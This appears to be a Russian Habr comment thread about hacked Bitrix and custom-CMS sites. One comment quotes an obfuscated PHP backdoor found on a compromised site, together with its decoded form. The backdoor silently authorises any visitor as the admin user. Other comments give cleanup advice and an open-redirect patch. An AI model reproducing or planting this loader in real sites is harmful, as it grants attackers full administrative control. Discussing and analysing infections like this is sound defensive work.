                                                                                                          Сайты с самописными CMS взлому подвержены минимально, только если там совсем очевидных дыр. Говорю как разработчик сайтов на таких решениях.
                                                                                                            +1
                                                                                                            Сайты с самописными CMS взлому подвержены минимально

                                                                                                            Если бы не было такой ерундой по своей сути, то сошло бы за шутку. Все могучие «самописы» обычно дырявые как решето.
                                                                                                              0
                                                                                                              Искать дыры в самописном — надо напрягаться. А в известных продуктах — скрипт запустил и вперед.
                                                                                                                +1
                                                                                                                Напрягаться? Ну я бы не сказал, ведь зачастую самые азы вменяемого кода игнорируются, не вспоминая про безопасность. Да и те же скрипты/тулзы против самописов запускать никто не запрещает, так что это тоже не аргумент.
                                                                                                                0
                                                                                                                Я за всех и не говорю)
                                                                                                                  0
                                                                                                                  Это радует, а то предыдущий комментарий я так понял, будто вы смело обобщили)
                                                                                                                  0
                                                                                                                  С одной стороны да, но с другой автоматические сканеры делают перебор по известным дыркам CMS, и мало кто будет заморачиваться со взломом самописа, даже если там прямо из интерфейса можно закинуть SQL Injection прямо в поле поиска.
                                                                                                                    0
                                                                                                                    Изначально самописные системы були упомянуты в роли точки входа, и это более чем справедливо, да и обилие полоумных арабов/индусов с их дефейсами не позволяет смотреть на этот вопрос в духе «мало кто будет заморачиваться со взломом самописа» :)
                                                                                                            0
                                                                                                            Как-то сталкивался с подобным, но там не по Authorize(1) было а вот так Authorize(true)

                                                                                                            Сам код был в таком виде:
                                                                                                            <? $a =$_SERVER["DOCUMENT_ROOT"]; $b =$a.base64_decode ("L2JpdHJpeC9tb2R1bGVzL21haW4vaW5jbHVkZS8="); require($b.base64_decode("cHJvbG9nX2JlZm9yZS5waHA="));
                                                                                                            $c = strrev("tuA").substr(strrev("ParBzirohMSlow"),5,round(0.00587544*851,0))."e"; global $USER; $USER->$c(true);require($b.base64_decode("ZXBpbG9nX2FmdGVyLnBocA=="));?>
                                                                                                            <?require($a.base64_decode ("L2JpdHJpeC9mb290ZXIucGhw"));?>


                                                                                                            После декодировки:
                                                                                                            require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
                                                                                                            global $USER; $USER->Authorize(true);
                                                                                                            require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
                                                                                                            require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");
                                                                                                              0
                                                                                                              Сегодня столкнулся с этой же проблемой, взломали сайт на битриксе.
                                                                                                              в корне находятся такие же файлы. подскажите как «вылечить» сайт и недопустить подобного в будущем.

                                                                                                              битрикс был лицензионным
                                                                                                                0
                                                                                                                Смотреть логи, искать закладки, чистить файлы. Всё как обычно.
                                                                                                                  0
                                                                                                                  только на сколько это спасет «отца русской» демократии, когда заражение было через дыру в битриксе, а разработчики не считают нужным делиться хотя бы критическими обновлениями со своими старыми клиентами…
                                                                                                                    0
                                                                                                                    Смотря что за уязвимость была задействована. Продлять лицензию не планируете принципиально?

                                                                                                                    Иные варианты решения: 1 — попробовать самостоятельно закрыть уязвимость; 2 — поставить WAF; 3 — вылечить сайт, сделать резервную копию, из которой потом при любом скрипе восстанавливать сайт.
                                                                                                                      0
                                                                                                                      я бы с удовольствием продлил, но сайт сейчас не приносит денег вообще, и материальное положение не позволяет отдать 10к за годовой абонемент (

                                                                                                                      если бы разбирался в рhp то и проблем думаю не возникло с закрытием уязвимостей (
                                                                                                                        0
                                                                                                                        В битриксе — возникло бы)
                                                                                                                          0
                                                                                                                          Надо было так:
                                                                                                                          опыт
                                                                                                                          В Битриксе — возникло бы)
                                                                                                                  0

                                                                                                                  Мой сканер видели?


                                                                                                                  habr.com/ru/post/543906
                                                                                                                  github.com/mSnus/simple-virus-scanner

                                                                                                                  0
                                                                                                                  Жадность фраера сгубила!
                                                                                                                    0
                                                                                                                    Получается, что скупой платит дважды…
                                                                                                                      0
                                                                                                                      Советую пользоваться свободными CMS, скачанными с официальных сайтов.
                                                                                                                        0
                                                                                                                        Подскажите, что делать вот с этим:
                                                                                                                        ********.gov.ru/bitrix/redirect.php?event1=&event2=&event3=&goto=https://www.bluevalentine-restaurant.com/
                                                                                                                        в выдаче гугла.
                                                                                                                        Не лезть не в своё дело?
                                                                                                                          +1
                                                                                                                          Откройте файл /bitrix/redirect.php и после <?php вставьте код:

                                                                                                                          $gotoParseURL = parse_url($_REQUEST['goto']);
                                                                                                                          if( $gotoParseURL['host'] != $_SERVER['SERVER_NAME'] ){
                                                                                                                          die('Hacking attemp');
                                                                                                                          }


                                                                                                                          если у Вас конечно есть доступ к этому)
                                                                                                                            0
                                                                                                                            Нету, я просто нагуглил это. Искал я, конечно, совсем другое.

                                                                                                                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                                                                                        Самое читаемое